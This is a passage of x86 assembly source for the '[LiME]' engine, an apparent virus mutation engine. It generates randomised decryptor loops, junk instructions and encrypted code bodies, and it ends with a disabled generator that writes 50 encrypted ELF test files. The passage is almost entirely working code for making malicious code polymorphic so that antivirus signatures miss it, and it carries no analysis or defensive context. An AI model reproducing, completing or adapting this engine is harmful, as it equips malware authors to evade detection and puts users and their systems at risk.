| 488 | movsx ecx,cl | ||
| 489 | le_a2: | ||
| 490 | sub eax,ecx | ||
| 491 | mov ecx,[edx+4*7] ; decryptic value | ||
| 492 | |||
| 493 | test byte [ebp-@+enc_type],00001000b | ||
| 494 | jnz le_a3 | ||
| 495 | mov ebx,[edx] ; address of "mov reg,xxxxxxxx" | ||
| 496 | mov [ebx],eax | ||
| 497 | add eax,edi | ||
| 498 | sub eax,esi | ||
| 499 | mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx" | ||
| 500 | jmp short le_a4 | ||
| 501 | le_a3: | ||
| 502 | mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx" | ||
| 503 | mov [ebx],eax | ||
| 504 | add eax,edi | ||
| 505 | sub eax,esi | ||
| 506 | mov ebx,[edx] ; address of "mov reg,xxxxxxxx" | ||
| 507 | le_a4: | ||
| 508 | mov [ebx],eax | ||
| 509 | |||
| 510 | ; jmp _test1_lime_encrypt ; *test* | ||
| 511 | mov eax,[edx+4*2] ; decryptic type | ||
| 512 | shr eax,16 | ||
| 513 | mov [ebp-@+enc_buff],ax | ||
| 514 | mov ebx,edi | ||
| 515 | mov edi,esi | ||
| 516 | |||
| 517 | mov al,[ebp-@+enc_type] | ||
| 518 | ; and al,1 | ||
| 519 | or al,0f8h ; clc / stc | ||
| 520 | mov [ebp-@+enc_buff-02h],al | ||
| 521 | |||
| 522 | encrypt_prog: | ||
| 523 | db 90h | ||
| 524 | lodsb ; 0ach | ||
| 525 | enc_buff db 90h,90h | ||
| 526 | stosb ; 0aah | ||
| 527 | cmp esi,ebx | ||
| 528 | jb encrypt_prog | ||
| 529 | _test1_lime_encrypt: | ||
| 530 | |||
| 531 | cmp byte [ebp-@+adr_ndx],0 | ||
| 532 | jz lime_prefix_encrypt | ||
| 533 | dec byte [ebp-@+adr_ndx] | ||
| 534 | jmp calc_disp | ||
| 535 | |||
| 536 | ; --------------------------------------------------------------- | ||
| 537 | |||
| 538 | lime_prefix_encrypt: | ||
| 539 | ; jmp _test2_lime_encrypt ; *test* | ||
| 540 | movzx ecx,byte [ebp-@+pre_count] | ||
| 541 | mov edi,[ebp-@+pre_addr] | ||
| 542 | lpe_next: | ||
| 543 | mov al,1fh | ||
| 544 | call lime_rnd_eax_and_al | ||
| 545 | add eax,[ebp-@+adr_0+4*1] ; address of loop | ||
| 546 | mov ebx,eax | ||
| 547 | sub eax,[ebp-@+para_ebx] | ||
| 548 | add eax,[ebp-@+para_ebp] | ||
| 549 | mov esi,[edi] | ||
| 550 | mov edx,[esi] | ||
| 551 | push esi | ||
| 552 | add esi,byte 04h | ||
| 553 | test byte [esi-05h],01000000b | ||
| 554 | jz lpe_a1 | ||
| 555 | movsx edx,dl | ||
| 556 | sub esi,byte 03h | ||
| 557 | lpe_a1: | ||
| 558 | sub eax,edx | ||
| 559 | mov edx,[edi+04h] | ||
| 560 | mov [edx],eax | ||
| 561 | add edi,byte 08h | ||
| 562 | mov edx,[esi] | ||
| 563 | pop esi | ||
| 564 | mov eax,[esi-02h] | ||
| 565 | cmp al,83h | ||
| 566 | jnz lpe_a2 | ||
| 567 | movsx edx,dl | ||
| 568 | lpe_a2: | ||
| 569 | and ah,00111000b | ||
| 570 | jz lpe_sub | ||
| 571 | cmp ah,00101000b | ||
| 572 | jz lpe_add | ||
| 573 | xor [ebx],edx | ||
| 574 | loop lpe_next | ||
| 575 | jmp short lime_encrypt_end | ||
| 576 | lpe_sub: | ||
| 577 | sub [ebx],edx | ||
| 578 | loop lpe_next | ||
| 579 | jmp short lime_encrypt_end | ||
| 580 | lpe_add: | ||
| 581 | add [ebx],edx | ||
| 582 | loop lpe_next | ||
| 583 | _test2_lime_encrypt: | ||
| 584 | |||
| 585 | lime_encrypt_end: | ||
| 586 | pop edi | ||
| 587 | call lime_rnd_trash | ||
| 588 | ret | ||
| 589 | |||
| 590 | ; --------------------------------------------------------------- | ||
| 591 | |||
| 592 | lime_set_disp_reg: | ||
| 593 | push edx | ||
| 594 | lsdr_l: | ||
| 595 | mov al,111b | ||
| 596 | call lime_rnd_al | ||
| 597 | cmp al,100b | ||
| 598 | jz lsdr_l | ||
| 599 | mov dl,[ebp-@+key_reg] | ||
| 600 | test bl,10000000b | ||
| 601 | jnz lsdr_a | ||
| 602 | and dl,011b | ||
| 603 | lsdr_a: | ||
| 604 | cmp al,dl | ||
| 605 | jz lsdr_l | ||
| 606 | cmp al,[ebp-@+disp_reg] | ||
| 607 | jz lsdr_l | ||
| 608 | mov [ebp-@+disp_reg],al | ||
| 609 | mov [ebp-@+temp_reg],al | ||
| 610 | pop edx | ||
| 611 | ret | ||
| 612 | |||
| 613 | lime_rnd: | ||
| 614 | push edx | ||
| 615 | rdtsc | ||
| 616 | xor eax,[ebp-@+lime_rnd_val] | ||
| 617 | adc eax,edi | ||
| 618 | neg eax | ||
| 619 | sbb eax,edx | ||
| 620 | rcr eax,1 | ||
| 621 | xor [ebp-@+lime_rnd_val],eax | ||
| 622 | pop edx | ||
| 623 | ret | ||
| 624 | |||
| 625 | lime_rnd_eax_and_al: | ||
| 626 | push edx | ||
| 627 | movzx edx,al | ||
| 628 | call lime_rnd | ||
| 629 | and eax,edx | ||
| 630 | pop edx | ||
| 631 | ret | ||
| 632 | |||
| 633 | lime_rnd_al: | ||
| 634 | push edx | ||
| 635 | mov edx,eax | ||
| 636 | lra_l: | ||
| 637 | call lime_rnd | ||
| 638 | cmp al,dl | ||
| 639 | ja lra_l | ||
| 640 | mov dl,al | ||
| 641 | xchg eax,edx | ||
| 642 | pop edx | ||
| 643 | ret | ||
| 644 | |||
| 645 | lime_rnd_esi: | ||
| 646 | and eax,byte 07fh | ||
| 647 | call lime_rnd_al | ||
| 648 | add eax,eax | ||
| 649 | add esi,eax | ||
| 650 | ret | ||
| 651 | |||
| 652 | lime_rnd_addr: | ||
| 653 | call lime_rnd_esi | ||
| 654 | movzx eax,word [esi] | ||
| 655 | mov esi,ebp ; added | ||
| 656 | add esi,eax | ||
| 657 | lea esi,[esi] ; XXXwrez | ||
| 658 | ret | ||
| 659 | |||
| 660 | lime_save_edi: | ||
| 661 | mov [esi],edi | ||
| 662 | add esi,byte 04h | ||
| 663 | ret | ||
| 664 | |||
| 665 | lime_rnd_reg_dd: | ||
| 666 | mov al,01h | ||
| 667 | lime_rnd_reg: | ||
| 668 | push ecx | ||
| 669 | push edx | ||
| 670 | xchg edx,eax | ||
| 671 | lrr_l: | ||
| 672 | mov al,111b | ||
| 673 | call lime_rnd_al | ||
| 674 | mov ah,al | ||
| 675 | test dl,01h | ||
| 676 | jnz lrr_w | ||
| 677 | and al,011b | ||
| 678 | lrr_w: | ||
| 679 | cmp al,100b | ||
| 680 | jz lrr_l | ||
| 681 | cmp al,[ebp-@+disp_reg] | ||
| 682 | jz lrr_l | ||
| 683 | cmp al,[ebp-@+temp_reg] | ||
| 684 | jz lrr_l | ||
| 685 | and al,011b | ||
| 686 | mov cl,[ebp-@+key_reg] | ||
| 687 | and cl,011b | ||
| 688 | cmp al,cl | ||
| 689 | jz lrr_l | ||
| 690 | mov dl,ah | ||
| 691 | xchg eax,edx | ||
| 692 | pop edx | ||
| 693 | pop ecx | ||
| 694 | ret | ||
| 695 | |||
| 696 | lime_rnd_trash: | ||
| 697 | push ecx | ||
| 698 | mov al,3 | ||
| 699 | call lime_rnd_eax_and_al | ||
| 700 | or al,04h | ||
| 701 | xchg ecx,eax | ||
| 702 | lrt_l: | ||
| 703 | call lime_rnd | ||
| 704 | stosb | ||
| 705 | loop lrt_l | ||
| 706 | pop ecx | ||
| 707 | ret | ||
| 708 | |||
| 709 | lime_rnd_rm: | ||
| 710 | push edx | ||
| 711 | xor edx,edx | ||
| 712 | mov dl,al | ||
| 713 | mov ah,al | ||
| 714 | rol ah,3 | ||
| 715 | mov al,[edi-01h] | ||
| 716 | call lime_rnd_reg | ||
| 717 | or ah,al | ||
| 718 | rol ah,3 | ||
| 719 | mov al,[edi-01h] | ||
| 720 | call lime_rnd_reg | ||
| 721 | or al,ah | ||
| 722 | stosb | ||
| 723 | cmp dl,11b | ||
| 724 | jz lrr_a2 | ||
| 725 | and al,11000111b | ||
| 726 | push eax | ||
| 727 | cmp eax,edi | ||
| 728 | jp lrr_a1 | ||
| 729 | or ah,00000100b | ||
| 730 | mov [edi-01h],ah | ||
| 731 | mov ah,al | ||
| 732 | mov al,0ffh | ||
| 733 | call lime_rnd_al | ||
| 734 | and al,11111000b | ||
| 735 | xor al,ah | ||
| 736 | stosb | ||
| 737 | lrr_a1: | ||
| 738 | call lime_rnd | ||
| 739 | stosd | ||
| 740 | pop eax | ||
| 741 | cmp al,00000101b | ||
| 742 | jz lrr_a2 | ||
| 743 | cmp dl,10b | ||
| 744 | je lrr_a2 | ||
| 745 | sub edi,byte 04h | ||
| 746 | add edi,edx | ||
| 747 | lrr_a2: | ||
| 748 | pop edx | ||
| 749 | ret | ||
| 750 | |||
| 751 | lime_xchg_reg: | ||
| 752 | push edx | ||
| 753 | cmp eax,edi | ||
| 754 | jp lxr_e | ||
| 755 | and al,00111111b | ||
| 756 | mov edx,eax | ||
| 757 | shr al,3 | ||
| 758 | shl dl,3 | ||
| 759 | or al,dl | ||
| 760 | or al,11000000b | ||
| 761 | lxr_e: | ||
| 762 | pop edx | ||
| 763 | ret | ||
| 764 | |||
| 765 | lime_aox_eax: | ||
| 766 | cmp eax,edi | ||
| 767 | jp lae_e | ||
| 768 | test byte [edi-01h],111b | ||
| 769 | jnz lae_e | ||
| 770 | dec edi | ||
| 771 | mov al,[edi] | ||
| 772 | dec edi | ||
| 773 | and al,00111000b | ||
| 774 | or al,00000101b | ||
| 775 | stosb | ||
| 776 | lae_e: | ||
| 777 | ret | ||
| 778 | |||
| 779 | ; --------------------------------------------------------------- | ||
| 780 | |||
| 781 | lime_make_mov_cod: | ||
| 782 | push esi | ||
| 783 | lea esi,[ebp-@+lime_mk_mov_cod_addr] | ||
| 784 | mov al,02h | ||
| 785 | call lime_rnd_addr | ||
| 786 | call esi | ||
| 787 | pop esi | ||
| 788 | ret | ||
| 789 | lime_mmc1: | ||
| 790 | mov al,0b8h ; mov reg,xxxxxxxx | ||
| 791 | or al,[ebp-@+disp_reg] | ||
| 792 | stosb | ||
| 793 | ret | ||
| 794 | lime_mmc2: ; set reg=0 / (add/or/xor) reg,xx | ||
| 795 | lea esi,[ebp-@+lime_zero_reg_opcod_tab] | ||
| 796 | mov al,03h | ||
| 797 | call lime_rnd_esi | ||
| 798 | lodsd | ||
| 799 | or ah,[ebp-@+disp_reg] | ||
| 800 | rol ah,3 | ||
| 801 | or ah,[ebp-@+disp_reg] | ||
| 802 | stosw | ||
| 803 | call lime_make_xchg_cod_rnd | ||
| 804 | lea esi,[ebp-@+lime_init_reg_opcod_tab] | ||
| 805 | mov al,03h | ||
| 806 | call lime_rnd_esi | ||
| 807 | lodsd | ||
| 808 | or ah,[ebp-@+disp_reg] | ||
| 809 | stosw | ||
| 810 | call lime_aox_eax | ||
| 811 | ret | ||
| 812 | lime_mmc3: | ||
| 813 | mov ax,0a08dh ; lea reg,xxxxxxxx | ||
| 814 | or ah,[ebp-@+disp_reg] | ||
| 815 | rol ah,3 | ||
| 816 | stosw | ||
| 817 | ret | ||
| 818 | |||
| 819 | lime_make_xchg_cod_rnd: | ||
| 820 | cmp eax,edi | ||
| 821 | jp lime_mxc_e | ||
| 822 | or byte [ebp-@+para_eax],00000010b | ||
| 823 | call lime_make_tsh_cod | ||
| 824 | mov dl,[ebp-@+disp_reg] | ||
| 825 | mov al,07h | ||
| 826 | call lime_rnd_eax_and_al | ||
| 827 | test byte [ebp-@+key_reg],011b | ||
| 828 | jz lime_mxc_a1 | ||
| 829 | test al,100b | ||
| 830 | jnz lime_mxc_a6 | ||
| 831 | lime_mxc_a1: | ||
| 832 | and al,011b | ||
| 833 | test al,01b | ||
| 834 | jz lime_mxc_a4 | ||
| 835 | cmp dl,101b | ||
| 836 | jnz lime_mxc_a2 | ||
| 837 | and al,01b | ||
| 838 | lime_mxc_a2: | ||
| 839 | add al,8ah | ||
| 840 | stosb | ||
| 841 | call lime_set_disp_reg | ||
| 842 | rol al,3 | ||
| 843 | or al,dl | ||
| 844 | stosb | ||
| 845 | cmp byte [edi-02h],8dh | ||
| 846 | jz lime_mxc_a3 | ||
| 847 | or byte [edi-01h],11000000b | ||
| 848 | lime_mxc_a3: | ||
| 849 | jmp short lime_mxc_e | ||
| 850 | lime_mxc_a4: | ||
| 851 | add ax,1887h ; mov ah,00011regb | ||
| 852 | stosb | ||
| 853 | or ah,[ebp-@+disp_reg] | ||
| 854 | rol ah,3 | ||
| 855 | call lime_set_disp_reg | ||
| 856 | or al,ah | ||
| 857 | cmp byte [edi-01h],87h | ||
| 858 | jnz lime_mxc_a5 | ||
| 859 | call lime_xchg_reg | ||
| 860 | lime_mxc_a5: | ||
| 861 | stosb | ||
| 862 | lime_mxc_e: | ||
| 863 | call lime_make_tsh_cod | ||
| 864 | ret | ||
| 865 | lime_mxc_a6: | ||
| 866 | call lime_set_disp_reg | ||
| 867 | cmp dl,000b | ||
| 868 | jz lime_mxc_a7 | ||
| 869 | mov al,90h | ||
| 870 | or al,dl | ||
| 871 | mov byte [ebp-@+disp_reg],00h | ||
| 872 | jmp short lime_mxc_a5 | ||
| 873 | lime_mxc_a7: | ||
| 874 | call lime_set_disp_reg | ||
| 875 | or al,90h | ||
| 876 | jmp short lime_mxc_a5 | ||
| 877 | |||
| 878 | ; --------------------------------------------------------------- | ||
| 879 | |||
| 880 | lime_make_inc_cod: | ||
| 881 | push esi | ||
| 882 | lea esi,[ebp-@+lime_mk_inc_cod_addr] | ||
| 883 | mov al,01h | ||
| 884 | call lime_rnd_addr | ||
| 885 | mov al,bl | ||
| 886 | and al,00001000b | ||
| 887 | or al,[ebp-@+disp_reg] | ||
| 888 | test bl,10000000b | ||
| 889 | jz lime_mic_t | ||
| 890 | lea esi,[ebp-@+lime_mic3] | ||
| 891 | lime_mic_t: | ||
| 892 | call esi | ||
| 893 | pop esi | ||
| 894 | ret | ||
| 895 | lime_mic1: | ||
| 896 | or al,40h ; (inc/dec) reg | ||
| 897 | stosb | ||
| 898 | ret | ||
| 899 | lime_mic2: | ||
| 900 | or al,11000000b | ||
| 901 | mov ah,al | ||
| 902 | mov al,0ffh ; (inc/dec) reg | ||
| 903 | stosw | ||
| 904 | ret | ||
| 905 | lime_mic3: ; (add/sub) reg,xx / (add/sub) reg,xx | ||
| 906 | mov al,81h | ||
| 907 | stosb | ||
| 908 | lea esi,[ebp-@+lime_add4_reg_opcod_tab] | ||
| 909 | mov al,03h | ||
| 910 | call lime_rnd_esi | ||
| 911 | add esi,eax | ||
| 912 | mov edx,[esi] | ||
| 913 | mov al,dl | ||
| 914 | or al,[ebp-@+disp_reg] | ||
| 915 | stosb | ||
| 916 | call lime_aox_eax | ||
| 917 | call lime_rnd | ||
| 918 | stosd | ||
| 919 | xchg ecx,eax | ||
| 920 | push edx | ||
| 921 | call lime_make_xchg_cod_rnd | ||
| 922 | pop edx | ||
| 923 | mov al,81h | ||
| 924 | stosb | ||
| 925 | mov al,dh | ||
| 926 | or al,[ebp-@+disp_reg] | ||
| 927 | stosb | ||
| 928 | call lime_aox_eax | ||
| 929 | cmp dh,dl | ||
| 930 | jnz lime_mic3_a1 | ||
| 931 | neg ecx | ||
| 932 | lime_mic3_a1: | ||
| 933 | xchg eax,edx | ||
| 934 | shr eax,16 | ||
| 935 | test bl,00001000b | ||
| 936 | jz lime_mic3_a2 | ||
| 937 | shr eax,8 | ||
| 938 | lime_mic3_a2: | ||
| 939 | movsx eax,al | ||
| 940 | add eax,ecx | ||
| 941 | stosd | ||
| 942 | ret | ||
| 943 | |||
| 944 | ; --------------------------------------------------------------- | ||
| 945 | |||
| 946 | lime_make_jz_cod: | ||
| 947 | push esi | ||
| 948 | lea esi,[ebp-@+lime_mk_jxx_cod_addr] | ||
| 949 | mov al,01h | ||
| 950 | call lime_rnd_addr | ||
| 951 | mov al,01h | ||
| 952 | call lime_rnd_al | ||
| 953 | test bl,00001000b | ||
| 954 | call esi | ||
| 955 | pop esi | ||
| 956 | ret | ||
| 957 | lime_mjc1: | ||
| 958 | jz lime_mjc1_a | ||
| 959 | mov al,0ffh | ||
| 960 | lime_mjc1_a: | ||
| 961 | add al,73h ; jz(ae/b) xx | ||
| 962 | stosw | ||
| 963 | ret | ||
| 964 | lime_mjc2: | ||
| 965 | mov ah,al | ||
| 966 | jz lime_mjc2_a | ||
| 967 | mov ah,0ffh | ||
| 968 | lime_mjc2_a: | ||
| 969 | add ah,83h ; jz(ae/b) xxxxxxxx | ||
| 970 | mov al,0fh | ||
| 971 | stosw | ||
| 972 | xor eax,eax | ||
| 973 | stosd | ||
| 974 | ret | ||
| 975 | |||
| 976 | ; --------------------------------------------------------------- | ||
| 977 | |||
| 978 | lime_make_noflags_cod: | ||
| 979 | or byte [ebp-@+para_eax],10000000b | ||
| 980 | call lime_make_tsh_cod | ||
| 981 | and byte [ebp-@+para_eax],01111111b | ||
| 982 | ret | ||
| 983 | |||
| 984 | lime_make_tsh_cod: | ||
| 985 | ; ret ; *test* | ||
| 986 | push ebx | ||
| 987 | push ecx | ||
| 988 | push edx | ||
| 989 | push esi | ||
| 990 | mov al,3 | ||
| 991 | call lime_rnd_eax_and_al | ||
| 992 | or eax,byte 01h | ||
| 993 | xchg ecx,eax | ||
| 994 | lmtc_l: | ||
| 995 | lea esi,[ebp-@+lime_mk_tsh_cod_addr] | ||
| 996 | xor eax,eax | ||
| 997 | mov al,08h | ||
| 998 | test byte [ebp-@+para_eax],10000000b | ||
| 999 | jz lmtc_t1 | ||
| 1000 | mov al,03h | ||
| 1001 | lmtc_t1: | ||
| 1002 | call lime_rnd_al | ||
| 1003 | rol eax,1 | ||
| 1004 | add esi,eax | ||
| 1005 | movzx eax,word [esi] | ||
| 1006 | mov esi,ebp ; added | ||
| 1007 | add esi,eax | ||
| 1008 | lea esi,[esi] ; XXXwrez | ||
| 1009 | call lime_rnd | ||
| 1010 | call esi | ||
| 1011 | mov esi,[ebp-@+jxx_addr] | ||
| 1012 | or esi,esi | ||
| 1013 | jz lmtc_t2 | ||
| 1014 | mov eax,edi | ||
| 1015 | sub eax,esi | ||
| 1016 | cmp eax,byte 02h | ||
| 1017 | jbe lmtc_t2 | ||
| 1018 | mov [esi-01h],al | ||
| 1019 | and dword [ebp-@+jxx_addr],byte 00h | ||
| 1020 | lmtc_t2: | ||
| 1021 | loop lmtc_l | ||
| 1022 | and dword [ebp-@+jxx_addr],byte 00h | ||
| 1023 | pop esi | ||
| 1024 | pop edx | ||
| 1025 | pop ecx | ||
| 1026 | pop ebx | ||
| 1027 | ret | ||
| 1028 | |||
| 1029 | lime_mtc1: ; 8087 | ||
| 1030 | and al,00000100b | ||
| 1031 | or al,0d8h | ||
| 1032 | stosb | ||
| 1033 | lmtc1_a1: | ||
| 1034 | mov al,ah | ||
| 1035 | and ah,00000111b | ||
| 1036 | cmp ah,00000101b | ||
| 1037 | jnz lmtc1_a2 | ||
| 1038 | and al,00111111b | ||
| 1039 | stosb | ||
| 1040 | mov al,7fh | ||
| 1041 | call lime_rnd_eax_and_al | ||
| 1042 | add eax,[ebp-@+para_ebp] | ||
| 1043 | stosd | ||
| 1044 | ret | ||
| 1045 | lmtc1_a2: | ||
| 1046 | or al,11000000b | ||
| 1047 | stosb | ||
| 1048 | ret | ||
| 1049 | |||
| 1050 | lime_mtc2: | ||
| 1051 | mov al,0fh | ||
| 1052 | call lime_rnd_al | ||
| 1053 | or al,80h | ||
| 1054 | cmp al,8dh ; lea reg,[reg] | ||
| 1055 | jz lmtc2_a | ||
| 1056 | cmp al,8bh | ||
| 1057 | ja lime_mtc2 | ||
| 1058 | cmp al,86h | ||
| 1059 | jb lime_mtc2 | ||
| 1060 | stosb ; (xchg/mov) reg,reg | ||
| 1061 | mov al,11b | ||
| 1062 | call lime_rnd_rm | ||
| 1063 | jmp short lime_mtc2 | ||
| 1064 | lmtc2_a: | ||
| 1065 | stosb | ||
| 1066 | mov al,10b | ||
| 1067 | call lime_rnd_al | ||
| 1068 | call lime_rnd_rm | ||
| 1069 | ret | ||
| 1070 | |||
| 1071 | lime_mtc3: ; MMX | ||
| 1072 | push eax | ||
| 1073 | mov al,0fh | ||
| 1074 | stosb | ||
| 1075 | lea ebx,[ebp-@+lime_mmx_opcod_tab] | ||
| 1076 | mov al,2fh | ||
| 1077 | call lime_rnd_al | ||
| 1078 | xlatb | ||
| 1079 | stosb | ||
| 1080 | pop eax | ||
| 1081 | or al,11000000b | ||
| 1082 | stosb | ||
| 1083 | ret | ||
| 1084 | |||
| 1085 | lime_mtc4: | ||
| 1086 | and al,01h | ||
| 1087 | mov dl,al | ||
| 1088 | shl dl,3 | ||
| 1089 | call lime_rnd_reg | ||
| 1090 | or al,0b0h ; mov reg,xxxxxx(xx) | ||
| 1091 | or al,dl | ||
| 1092 | stosb | ||
| 1093 | cmp al,0b8h | ||
| 1094 | jb lmtc4_a | ||
| 1095 | call lime_rnd | ||
| 1096 | and eax,0bfff83ffh | ||
| 1097 | stosd | ||
| 1098 | ret | ||
| 1099 | lmtc4_a: | ||
| 1100 | call lime_rnd | ||
| 1101 | stosb | ||
| 1102 | ret | ||
| 1103 | |||
| 1104 | lime_mtc5: | ||
| 1105 | and al,03h | ||
| 1106 | or al,80h ; (add/or/adc/sbb/and/sub/xor/cmp) reg,xx | ||
| 1107 | stosb | ||
| 1108 | call lime_rnd_reg | ||
| 1109 | or al,11000000b | ||
| 1110 | stosb | ||
| 1111 | call lime_rnd | ||
| 1112 | and eax,83ffbfffh | ||
| 1113 | stosd | ||
| 1114 | cmp byte [edi-06h],81h | ||
| 1115 | jz lime_mtc5_a | ||
| 1116 | sub edi,byte 03h | ||
| 1117 | lime_mtc5_a: | ||
| 1118 | ; ret | ||
| 1119 | |||
| 1120 | lime_mtc6: | ||
| 1121 | cmp dword [ebp-@+jxx_addr],byte 00h | ||
| 1122 | jnz lime_mtc4 | ||
| 1123 | mov al,0fh | ||
| 1124 | call lime_rnd_eax_and_al | ||
| 1125 | or al,70h ; jxx xx | ||
| 1126 | stosw | ||
| 1127 | mov [ebp-@+jxx_addr],edi | ||
| 1128 | call lime_mtc5 | ||
| 1129 | ret | ||
| 1130 | |||
| 1131 | lime_mtc7: | ||
| 1132 | jp lime_mtc7_a | ||
| 1133 | and al,01h | ||
| 1134 | or al,0feh ; (inc/dec) reg | ||
| 1135 | stosb | ||
| 1136 | call lime_rnd_reg | ||
| 1137 | and ah,00001000b | ||
| 1138 | or al,11000000b | ||
| 1139 | or al,ah | ||
| 1140 | stosb | ||
| 1141 | ret | ||
| 1142 | lime_mtc7_a: | ||
| 1143 | call lime_rnd_reg_dd | ||
| 1144 | and ah,00001000b | ||
| 1145 | or ah,40h ; (inc/dec) reg | ||
| 1146 | or al,ah | ||
| 1147 | stosb | ||
| 1148 | ret | ||
| 1149 | |||
| 1150 | lime_mtc8: | ||
| 1151 | ; ret | ||
| 1152 | call lime_rnd_reg_dd | ||
| 1153 | mov dl,al | ||
| 1154 | mov [ebp-@+temp_reg],al | ||
| 1155 | or al,0b8h ; mov reg,xxxxxxxx | ||
| 1156 | stosb | ||
| 1157 | call lime_rnd | ||
| 1158 | stosd | ||
| 1159 | push edi | ||
| 1160 | push eax | ||
| 1161 | call lime_make_noflags_cod | ||
| 1162 | call lime_rnd | ||
| 1163 | and al,08h | ||
| 1164 | or al,40h ; (inc/dec) reg | ||
| 1165 | or al,[ebp-@+temp_reg] | ||
| 1166 | stosb | ||
| 1167 | push eax | ||
| 1168 | call lime_make_noflags_cod | ||
| 1169 | mov ax,0f881h ; cmp reg,xxxxxxxx | ||
| 1170 | or ah,[ebp-@+temp_reg] | ||
| 1171 | stosw | ||
| 1172 | mov al,7fh | ||
| 1173 | call lime_rnd_eax_and_al | ||
| 1174 | or al,10h | ||
| 1175 | pop edx | ||
| 1176 | test dl,08h | ||
| 1177 | pop edx | ||
| 1178 | jnz lime_mtc8_a1 | ||
| 1179 | add eax,edx | ||
| 1180 | jmp short lime_mtc8_a2 | ||
| 1181 | lime_mtc8_a1: | ||
| 1182 | xchg eax,edx | ||
| 1183 | sub eax,edx | ||
| 1184 | lime_mtc8_a2: | ||
| 1185 | stosd | ||
| 1186 | call lime_make_noflags_cod | ||
| 1187 | mov al,[ebp-@+disp_reg] | ||
| 1188 | mov [ebp-@+temp_reg],al | ||
| 1189 | mov al,75h ; jnz xx | ||
| 1190 | stosw | ||
| 1191 | cmp eax,edi | ||
| 1192 | jp lime_mtc8_a3 | ||
| 1193 | pop eax | ||
| 1194 | sub eax,edi | ||
| 1195 | cmp eax,byte -80h | ||
| 1196 | jb lime_mtc8_a4 | ||
| 1197 | mov [edi-01h],al | ||
| 1198 | ret | ||
| 1199 | lime_mtc8_a3: | ||
| 1200 | pop eax | ||
| 1201 | lime_mtc8_a4: | ||
| 1202 | push edi | ||
| 1203 | call lime_rnd_trash | ||
| 1204 | pop edx | ||
| 1205 | mov eax,edi | ||
| 1206 | sub eax,edx | ||
| 1207 | mov [edx-01h],al | ||
| 1208 | ret | ||
| 1209 | |||
| 1210 | lime_mtc9: ; (add/or/adc/sbb/and/sub/xor/cmp) reg,reg | ||
| 1211 | call lime_rnd | ||
| 1212 | and al,00111011b | ||
| 1213 | stosb | ||
| 1214 | call lime_rnd_reg | ||
| 1215 | or al,00011000b | ||
| 1216 | rol al,3 | ||
| 1217 | mov ah,al | ||
| 1218 | mov al,[edi-01h] | ||
| 1219 | call lime_rnd_reg | ||
| 1220 | or al,ah | ||
| 1221 | stosb | ||
| 1222 | ret | ||
| 1223 | |||
| 1224 | ; --------------------------------------------------------------- | ||
| 1225 | |||
| 1226 | LIME_END: | ||
| 1227 | LIME_SIZE equ LIME_END-LIME_BEGIN | ||
| 1228 | |||
| 1229 | ; *************************************************************** | ||
| 1230 | ; [LiME] test files generator | ||
| 1231 | ; *************************************************************** | ||
| 1232 | |||
| 1233 | %if 0 | ||
| 1234 | main: | ||
| 1235 | mov eax,4 | ||
| 1236 | mov ebx,1 | ||
| 1237 | mov ecx,gen_msg | ||
| 1238 | mov edx,gen_msg_len | ||
| 1239 | int 80h | ||
| 1240 | |||
| 1241 | mov ecx,50 | ||
| 1242 | gen_l1: | ||
| 1243 | push ecx | ||
| 1244 | |||
| 1245 | mov eax,8 | ||
| 1246 | mov ebx,filename | ||
| 1247 | mov ecx,000111111101b ; 000rwxrwxrwx | ||
| 1248 | int 80h | ||
| 1249 | |||
| 1250 | push eax | ||
| 1251 | |||
| 1252 | mov eax,0 | ||
| 1253 | mov ebx,host_entry | ||
| 1254 | mov ecx,host | ||
| 1255 | mov edx,host_len | ||
| 1256 | mov ebp,[e_entry] | ||
| 1257 | call LIME | ||
| 1258 | |||
| 1259 | pop ebx | ||
| 1260 | |||
| 1261 | mov eax,4 | ||
| 1262 | mov ecx,elf_head | ||
| 1263 | add edx,host_entry-elf_head | ||
| 1264 | mov [p_filsz],edx | ||
| 1265 | mov [p_memsz],edx | ||
| 1266 | int 80h | ||
| 1267 | |||
| 1268 | mov eax,6 | ||
| 1269 | int 80h | ||
| 1270 | |||
| 1271 | lea ebx,[filename+1] | ||
| 1272 | inc byte [ebx+1] | ||
| 1273 | cmp byte [ebx+1],'9' | ||
| 1274 | jbe gen_l2 | ||
| 1275 | inc byte [ebx] | ||
| 1276 | mov byte [ebx+1],'0' | ||
| 1277 | gen_l2: | ||
| 1278 | pop ecx | ||
| 1279 | loop gen_l1 | ||
| 1280 | |||
| 1281 | mov eax,1 | ||
| 1282 | xor ebx,ebx | ||
| 1283 | int 80h | ||
| 1284 | |||
| 1285 | gen_msg db 'Generates 50 [LiME] encrypted test files...',0dh,0ah | ||
| 1286 | gen_msg_len equ $-gen_msg | ||
| 1287 | |||
| 1288 | host: | ||
| 1289 | call host_reloc | ||
| 1290 | host_reloc: | ||
| 1291 | pop ecx | ||
| 1292 | add ecx,host_msg-host_reloc | ||
| 1293 | mov eax,4 | ||
| 1294 | mov ebx,1 | ||
| 1295 | mov edx,host_msg_len | ||
| 1296 | int 80h | ||
| 1297 | mov eax,1 | ||
| 1298 | xor ebx,ebx | ||
| 1299 | int 80h | ||
| 1300 | |||
| 1301 | host_msg db 'This is a [LiME] test file! ...(' | ||
| 1302 | filename db 't00',0 | ||
| 1303 | db ')',0dh,0ah | ||
| 1304 | host_msg_len equ $-host_msg | ||
| 1305 | host_len equ $-host | ||
| 1306 | |||
| 1307 | elf_head: | ||
| 1308 | e_ident db 7fh,'ELF',1,1,1 | ||
| 1309 | times 9 db 0 | ||
| 1310 | e_type dw 2 | ||
| 1311 | e_mach dw 3 | ||
| 1312 | e_ver dd 1 | ||
| 1313 | e_entry dd host_entry-elf_head+08049000h | ||
| 1314 | e_phoff dd 34h | ||
| 1315 | e_shoff dd 0 | ||
| 1316 | e_flags dd 0 | ||
| 1317 | e_elfhs dw 34h | ||
| 1318 | e_phes dw 20h | ||
| 1319 | e_phec dw 01h | ||
| 1320 | e_shes dw 0 | ||
| 1321 | e_shec dw 0 | ||
| 1322 | e_shsn dw 0 | ||
| 1323 | elf_ph: | ||
| 1324 | p_type dd 1 | ||
| 1325 | p_off dd 0 | ||
| 1326 | p_vaddr dd 08049000h | ||
| 1327 | p_paddr dd 08049000h | ||
| 1328 | p_filsz dd file_len | ||
| 1329 | p_memsz dd file_len | ||
| 1330 | p_flags dd 7 | ||
| 1331 | p_align dd 1000h | ||
| 1332 | times 20h db 0 | ||
| 1333 | host_entry: | ||
| 1334 | times 1024*4 db 0 | ||
| 1335 | |||
| 1336 | file_len equ $-elf_head | ||
